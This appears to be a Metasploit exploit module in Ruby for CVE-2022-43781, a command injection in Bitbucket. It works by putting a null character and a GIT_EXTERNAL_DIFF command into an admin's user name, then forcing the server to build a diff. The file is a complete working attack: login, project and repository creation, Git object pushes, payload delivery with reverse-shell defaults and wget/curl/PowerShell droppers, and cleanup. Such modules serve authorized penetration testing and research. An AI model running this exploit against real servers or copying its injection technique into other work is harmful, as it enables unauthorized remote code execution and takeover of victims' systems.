## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Git include Msf::Exploit::Git::SmartHttp include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Bitbucket Environment Variable RCE', 'Description' => %q{ For various versions of Bitbucket, there is an authenticated command injection vulnerability that can be exploited by injecting environment variables into a user name. This module achieves remote code execution as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment variable, a null character as a delimiter, and arbitrary code into a user's user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable will be run once the Bitbucket application is coerced into generating a diff. This module requires at least admin credentials, as admins and above only have the option to change their user name. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ry0taK', # Vulnerability Discovery 'y4er', # PoC and blog post 'Shelby Pace' # Metasploit Module ], 'References' => [ [ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'], [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'], [ 'CVE', '2022-43781'] ], 'Platform' => [ 'win', 'unix', 'linux' ], 'Privileged' => true, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Linux Command', { 'Platform' => 'unix', 'Type' => :unix_cmd, 'Arch' => [ ARCH_CMD ], 'Payload' => { 'Space' => 254 }, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'MaxLineChars' => 254, 'Type' => :linux_dropper, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => %i[wget curl], 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'win', 'MaxLineChars' => 254, 'Type' => :win_dropper, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => [ :psh_invokewebrequest ], 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2022-11-16', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } ) ) register_options( [ Opt::RPORT(7990), OptString.new('USERNAME', [ true, 'User name to log in with' ]), OptString.new('PASSWORD', [ true, 'Password to log in with' ]), OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/']) ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true ) return CheckCode::Unknown('Failed to retrieve a response from the target') unless res return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket') nokogiri_data = res.get_html_document footer = nokogiri_data&.at('footer') return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer version_info = footer.at('span')&.children&.text return CheckCode::Detected('Failed to find version information in footer section') unless version_info vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/) return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1 version_str = vers_matches[1] vprint_status("Found version #{version_str} of Bitbucket") major, minor, revision = version_str.split('.') rev_num = revision.to_i case major when '7' case minor when '0', '1', '2', '3', '4', '5' return CheckCode::Appears when '6' return CheckCode::Appears if rev_num >= 0 && rev_num <= 18 when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16' return CheckCode::Appears when '17' return CheckCode::Appears if rev_num >= 0 && rev_num <= 11 when '18', '19', '20' return CheckCode::Appears when '21' return CheckCode::Appears if rev_num >= 0 && rev_num <= 5 end when '8' print_status('Versions 8.* are vulnerable only if the mesh setting is disabled') case minor when '0' return CheckCode::Appears if rev_num >= 0 && rev_num <= 4 when '1' return CheckCode::Appears if rev_num >= 0 && rev_num <= 4 when '2' return CheckCode::Appears if rev_num >= 0 && rev_num <= 3 when '3' return CheckCode::Appears if rev_num >= 0 && rev_num <= 2 when '4' return CheckCode::Appears if rev_num == 0 || rev_num == 1 end end CheckCode::Detected end def default_branch @default_branch ||= Rex::Text.rand_text_alpha(5..9) end def uname_payload(cmd) "#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})" end def log_in(username, password) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'), 'keep_cookies' => true, 'vars_post' => { 'j_username' => username, 'j_password' => password, '_atl_remember_me' => 'on', 'submit' => 'Log in' } ) fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'projects'), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res unless res.body.include?('Logged in') fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials') end end def create_project proj_uri = normalize_uri(target_uri.path, 'projects?create') res = send_request_cgi( 'method' => 'GET', 'uri' => proj_uri, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project') vprint_status('Retrieving security token') html_doc = res.get_html_document token_data = html_doc.at('div//input[@name="atl_token"]') fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data @token = token_data['value'] fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank? project_name = Rex::Text.rand_text_alpha(5..9) project_key = Rex::Text.rand_text_alpha(5..9).upcase res = send_request_cgi( 'method' => 'POST', 'uri' => proj_uri, 'keep_cookies' => true, 'vars_post' => { 'name' => project_name, 'key' => project_key, 'submit' => 'Create project', 'atl_token' => @token } ) fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key) print_status('Project creation was successful') [ project_name, project_key ] end def create_repository repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create') res = send_request_cgi( 'method' => 'GET', 'uri' => repo_uri, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res html_doc = res.get_html_document dropdown_data = html_doc.at('li[@class="user-dropdown"]') fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank? email = dropdown_data&.at('span')&.[]('data-emailaddress') fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank? repo_name = Rex::Text.rand_text_alpha(5..9) res = send_request_cgi( 'method' => 'POST', 'uri' => repo_uri, 'keep_cookies' => true, 'vars_post' => { 'name' => repo_name, 'defaultBranchId' => default_branch, 'description' => '', 'scmId' => 'git', 'forkable' => 'false', 'atl_token' => @token, 'submit' => 'Create repository' } ) fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res res = send_request_cgi( 'method' => 'GET', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse') ) fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404 print_good("Successfully created repository '#{repo_name}'") [ email, repo_name ] end def generate_repo_objects(email, repo_file_data = [], parent_object = nil) txt_data = Rex::Text.rand_text_alpha(5..20) blob_object = GitObject.build_blob_object(txt_data) file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt" file_data = { mode: '100755', file_name: file_name, sha1: blob_object.sha1 } tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ]) tree_obj = GitObject.build_tree_object(tree_data) commit_obj = GitObject.build_commit_object({ tree_sha1: tree_obj.sha1, email: email, message: Rex::Text.rand_text_alpha(4..30), parent_sha1: (parent_object.nil? ? nil : parent_object.sha1) }) { objects: [ commit_obj, tree_obj, blob_object ], file_data: file_data } end # create two files in two separate commits in order # to view a diff and get code execution def create_commits(email) init_objects = generate_repo_objects(email) commit_obj = init_objects[:objects].first refs = { 'HEAD' => "refs/heads/#{default_branch}", "refs/heads/#{default_branch}" => commit_obj.sha1 } final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj) repo_objects = final_objects[:objects] + init_objects[:objects] new_commit = final_objects[:objects].first new_file = final_objects[:file_data][:file_name] git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git") res = send_receive_pack_request( git_uri, refs['HEAD'], repo_objects, '0' * 40 # no commits should exist yet, so no branch tip in repo yet ) fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:') fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok') [ new_commit.sha1, commit_obj.sha1, new_file ] end def get_user_id(curr_uname) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin/users/view'), 'vars_get' => { 'name' => curr_uname } ) matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/) fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1 matched_id[1] end def change_username(curr_uname, new_uname) @user_id ||= get_user_id(curr_uname) headers = { 'X-Requested-With' => 'XMLHttpRequest', 'X-AUSERID' => @user_id, 'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}" } vars = { 'name' => curr_uname, 'newName' => new_uname }.to_json res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'), 'ctype' => 'application/json', 'keep_cookies' => true, 'headers' => headers, 'data' => vars ) unless res print_bad('Did not receive a response to the user name change request') return false end unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF') print_bad('User name change was unsuccessful') return false end true end def commit_uri(project_key, repo_name, commit_sha) normalize_uri( target_uri.path, 'rest/api/latest/projects', project_key, 'repos', repo_name, 'commits', commit_sha ) end def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file) commit_diff_uri = normalize_uri( commit_uri(@project_key, @repo_name, latest_commit_sha), 'diff', diff_file ) send_request_cgi( 'method' => 'GET', 'uri' => commit_diff_uri, 'keep_cookies' => true, 'vars_get' => { 'since' => first_commit_sha } ) end def delete_repository(username) vprint_status("Attempting to delete repository '#{@repo_name}'") repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase) res = send_request_cgi( 'method' => 'DELETE', 'uri' => repo_uri, 'keep_cookies' => true, 'headers' => { 'X-AUSERNAME' => username, 'X-AUSERID' => @user_id, 'X-Requested-With' => 'XMLHttpRequest', 'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}", 'ctype' => 'application/json', 'Accept' => 'application/json, text/javascript' } ) unless res&.body&.include?('scheduled for deletion') print_warning('Failed to delete repository') return end print_good('Repository has been deleted') end def delete_project(username) vprint_status("Now attempting to delete project '#{@project_name}'") send_request_cgi( # fails to return a response 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'projects', @project_key), 'keep_cookies' => true, 'headers' => { 'X-AUSERNAME' => username, 'X-AUSERID' => @user_id, 'X-Requested-With' => 'XMLHttpRequest', 'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}", 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings", 'ctype' => 'application/json', 'Accept' => 'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding' => 'gzip, deflate' } ) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'projects', @project_key), 'keep_cookies' => true ) unless res&.code == 404 print_warning('Failed to delete project') return end print_good('Project has been deleted') end def get_repo res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'), 'keep_cookies' => true ) unless res print_status('Couldn\'t access repos page. Will create repo') return [] end json_data = JSON.parse(res.body) unless json_data && json_data['size'] >= 1 print_status('No accessible repositories. Will attempt to create a repo') return [] end repo_data = json_data['values'].first repo_name = repo_data['slug'] project_key = repo_data['project']['key'] unless repo_name && project_key print_status('Could not find repo name and key. Creating repo') return [] end [ repo_name, project_key ] end def get_repo_info unless @project_name && @project_key print_status('Failed to find valid project information. Will attempt to create repo') return nil end res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'), 'keep_cookies' => true ) unless res print_status("Failed to access existing repository #{@project_name}") return nil end html_doc = res.get_html_document commit_data = html_doc.search('a[@class="commitid"]') unless commit_data && commit_data.length > 1 print_status('No commits found for existing repo') return nil end latest_commit = commit_data[0]['data-commitid'] prev_commit = commit_data[1]['data-commitid'] file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes') res = send_request_cgi( 'method' => 'GET', 'uri' => file_uri, 'keep_cookies' => true ) return nil unless res json = JSON.parse(res.body) return nil unless json['values'] path = json['values']&.first&.dig('path') return nil unless path [ latest_commit, prev_commit, path['name'] ] end def exploit @use_public_repo = true datastore['GIT_USERNAME'] = datastore['USERNAME'] datastore['GIT_PASSWORD'] = datastore['PASSWORD'] if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank? fail_with(Failure::BadConfig, 'No credentials to log in with.') end log_in(datastore['USERNAME'], datastore['PASSWORD']) @curr_uname = datastore['USERNAME'] @project_name, @project_key = get_repo @repo_name = @project_name @latest_commit, @first_commit, @diff_file = get_repo_info unless @latest_commit && @first_commit && @diff_file @use_public_repo = false @project_name, @project_key = create_project email, @repo_name = create_repository @latest_commit, @first_commit, @diff_file = create_commits(email) print_good("Commits added: #{@first_commit}, #{@latest_commit}") end print_status('Sending payload') case target['Type'] when :win_dropper execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.') when :linux_dropper execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true) when :unix_cmd execute_command(payload.encoded.strip) end end def cleanup if @curr_uname != datastore['USERNAME'] print_status("Changing user name back to '#{datastore['USERNAME']}'") if change_username(@curr_uname, datastore['USERNAME']) @curr_uname = datastore['USERNAME'] else print_warning('User name is still set to payload.' \ "Please manually change the user name back to #{datastore['USERNAME']}") end end unless @use_public_repo delete_repository(@curr_uname) if @repo_name delete_project(@curr_uname) if @project_name end end def execute_command(cmd, _opts = {}) if target['Platform'] == 'win' curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd)) else curr_payload = uname_payload(cmd) end unless change_username(@curr_uname, curr_payload) fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload') end view_commit_diff(@latest_commit, @first_commit, @diff_file) @curr_uname = curr_payload end end